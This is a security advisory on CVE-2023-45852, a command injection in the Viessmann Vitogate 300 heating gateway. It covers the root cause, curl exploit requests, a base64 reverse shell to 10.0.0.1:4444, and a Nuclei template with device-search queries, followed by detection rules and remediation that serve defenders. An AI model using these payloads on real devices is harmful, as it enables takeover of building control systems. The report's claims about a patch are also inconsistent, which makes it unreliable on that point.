CVE-2023-45852

Executive Summary

CVE-2023-45852 is a critical unauthenticated remote code execution (RCE) vulnerability in the Viessmann Vitogate 300 firmware version 2.1.3.0. The flaw resides in the /cgi-bin/vitogate.cgi endpoint, where an attacker can inject arbitrary shell commands via the ipaddr JSON parameter using shell metacharacters. This allows complete compromise of the heating control gateway, potentially enabling lateral movement into building management systems (BMS) and OT networks. The vulnerability has a CVSS score of 9.8 (Critical) and is actively weaponized with a public PoC and Nuclei template.

Supply Chain & Package Security

This vulnerability affects a proprietary embedded device firmware, not an open-source package. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the physical device and its firmware distribution.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component is the only affected system.
• Confidentiality Impact: High (C:H) – Full read access to device filesystem.
• Integrity Impact: High (I:H) – Arbitrary command execution.
• Availability Impact: High (A:H) – Potential denial of service or device bricking.

Threat Level: Critical. The EPSS score is 0.93587 (99.8th percentile), indicating a very high probability of exploitation in the wild.

Deep Dive & Mechanics

The vulnerability is a classic command injection in the ipaddr parameter of the JSON API. The /cgi-bin/vitogate.cgi endpoint processes a put method with a params object containing ipaddr. The application fails to sanitize shell metacharacters (e.g., ;, |, `) before passing the value to a system command (likely a ping or traceroute call). An attacker can inject arbitrary commands by appending them after a semicolon.

Root Cause: The ipaddr value is concatenated directly into a shell command string without escaping or validation. For example, the backend might execute something like traceroute <ipaddr> or ping -c 1 <ipaddr>. By providing ipaddr=127.0.0.1;cat /etc/passwd, the shell interprets the semicolon as a command separator and executes the injected command.

Attack Flow:

1. Attacker sends a POST request to /cgi-bin/vitogate.cgi with JSON body.
2. The method is set to put, form to form-4-8, and params contains ipaddr with a payload like 127.0.0.1;cat /etc/passwd.
3. The server executes the command, and the output is reflected in the HTTP response (e.g., in a traceroute error message).
4. The attacker can then execute arbitrary commands, including reverse shells, data exfiltration, or lateral movement.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Pseudocode for vulnerable CGI handler
char cmd[256];
snprintf(cmd, sizeof(cmd), "traceroute %s", json_get_string(params, "ipaddr"));
system(cmd);

Patched Code (Conceptual):

// Pseudocode for patched handler
char *ipaddr = json_get_string(params, "ipaddr");
if (!is_valid_ip(ipaddr)) {
    return_error("Invalid IP address");
    return;
}
char cmd[256];
snprintf(cmd, sizeof(cmd), "traceroute %s", ipaddr);
system(cmd);

The patch must validate that ipaddr is a valid IP address (e.g., using inet_pton) and reject any input containing shell metacharacters. Alternatively, use execvp with arguments instead of system().

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Viessmann Vitogate 300 firmware 2.1.3.0.
• Network access to the device (default HTTP on port 80).

Exploit (using curl):

curl -X POST http://<target>/cgi-bin/vitogate.cgi \
  -H "Content-Type: application/json" \
  -d '{"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"127.0.0.1;cat /etc/passwd"}}'

Reverse Shell Payload:

# Base64 encode a reverse shell command
echo 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' | base64
# Inject
curl -X POST http://<target>/cgi-bin/vitogate.cgi \
  -H "Content-Type: application/json" \
  -d '{"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"127.0.0.1;echo <base64> | base64 -d | bash"}}'

Nuclei Template (Provided):

id: CVE-2023-45852

info:
  name: Viessmann Vitogate 300 - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    In Vitogate 300 2.1.3.0, /cgi-bin/vitogate.cgi allows an unauthenticated attacker to bypass authentication and execute arbitrary commands via shell metacharacters in the ipaddr params JSON data for the put method.
  impact: |
    Unauthenticated attackers can execute arbitrary commands with elevated privileges through shell metacharacters in the ipaddr parameter, potentially compromising the heating control gateway and accessing building management systems.
  remediation: |
    Update Viessmann Vitogate 300 firmware to a version newer than 2.1.3.0 that properly sanitizes the ipaddr parameter and prevents command injection through the JSON API.
  reference:
    - https://connectivity.viessmann.com/gb/mp-fp/vitogate/vitogate-300-bn-mb.html
    - https://github.com/Push3AX/vul/blob/main/viessmann/Vitogate300_RCE.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45852
    - https://github.com/tanjiti/sec_profile
    - https://github.com/komodoooo/Some-things
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-45852
    cwe-id: CWE-77
    epss-score: 0.93587
    epss-percentile: 0.99836
    cpe: cpe:2.3:o:viessmann:vitogate_300_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: viessmann
    product: vitogate_300_firmware
    shodan-query:
      - title:"Vitogate 300"
      - http.title:"vitogate 300"
    fofa-query:
      - title="Vitogate 300"
      - title="vitogate 300"
    google-query: intitle:"vitogate 300"
  tags: cve2023,cve,rce,vitogate,viessmann,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/vitogate.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"{{randstr}};cat /etc/passwd"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(header, "application/json")'
          - 'contains_all(body, "traceroute: {{randstr}}: Unknown host", "daemon:x:1:1:")'
        condition: and

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP POST requests to /cgi-bin/vitogate.cgi with JSON content type.
• Alert on ipaddr values containing shell metacharacters (;, |, `, $(), &&, ||).
• Look for anomalous response bodies containing command output (e.g., /etc/passwd entries).

Hardening:

• Isolate Vitogate devices on a separate VLAN with strict firewall rules.
• Disable the CGI endpoint if not required.
• Implement a WAF rule to block malicious JSON payloads.
• Monitor for outbound connections from the device to unknown IPs (reverse shell detection).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/vitogate.cgi with Content-Type: application/json.
• JSON body containing "method":"put" and "form":"form-4-8".
• ipaddr parameter containing shell metacharacters or base64-encoded payloads.
• Response body containing traceroute: followed by a random string and Unknown host.

Host IOCs (on compromised device):

• Unexpected processes (e.g., reverse shells, netcat, bash).
• Modified system files (e.g., /etc/passwd, /etc/shadow).
• New cron jobs or startup scripts.
• Outbound connections to suspicious IPs on non-standard ports.

File IOCs:

• Log entries in /var/log/ showing command injection attempts.
• Temporary files created by injected commands (e.g., /tmp/*.sh).

Detection Engineering

YARA Rule

rule CVE_2023_45852_Vitogate_RCE {
    meta:
        description = "Detects HTTP requests exploiting CVE-2023-45852 in Viessmann Vitogate 300"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-45852"
        severity = "critical"
    strings:
        $json_method = /"method"\s*:\s*"put"/
        $json_form = /"form"\s*:\s*"form-4-8"/
        $json_ipaddr = /"ipaddr"\s*:\s*"[^"]*[;&|`$()]/
        $shell_meta = /[;&|`$()]/
    condition:
        all of ($json_method, $json_form, $json_ipaddr) and $shell_meta
}

Sigma Rule

title: CVE-2023-45852 - Viessmann Vitogate 300 RCE Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests targeting /cgi-bin/vitogate.cgi with command injection in ipaddr parameter
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45852
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/vitogate.cgi'
        cs-content-type: 'application/json'
    keywords:
        - 'ipaddr'
        - ';'
        - '|'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of semicolons in IP addresses (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2023-45852 - Viessmann Vitogate 300 RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/vitogate.cgi"; http_uri;
    content:"application/json"; http_content_type;
    content:"ipaddr"; http_client_body;
    pcre:"/ipaddr\"\s*:\s*\"[^\"]*[;&|`$()]/Ri";
    reference:cve,2023-45852;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the internet and untrusted networks.
2. Disable the /cgi-bin/vitogate.cgi endpoint if not required for operations.
3. Apply a WAF rule to block requests containing shell metacharacters in JSON parameters.
4. Monitor logs for exploitation attempts.

Long-Term Fix:

• Vendor Patch: Viessmann must release a firmware update that properly sanitizes the ipaddr parameter. As of this report, no patch is available.
• Workaround: If patching is not possible, replace the device with a secure alternative or implement network-level filtering.

Detection & Response:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable logging on all network devices and correlate with SIEM.
• Conduct a threat hunt for signs of compromise using the IOCs.

Valters IT Signature:
This report is provided for authorized security testing and defensive purposes only. Unauthorized exploitation of CVE-2023-45852 is illegal. Always obtain written permission before testing.

{/* [Security Hash: FAD253C073843D8534B98C91] */}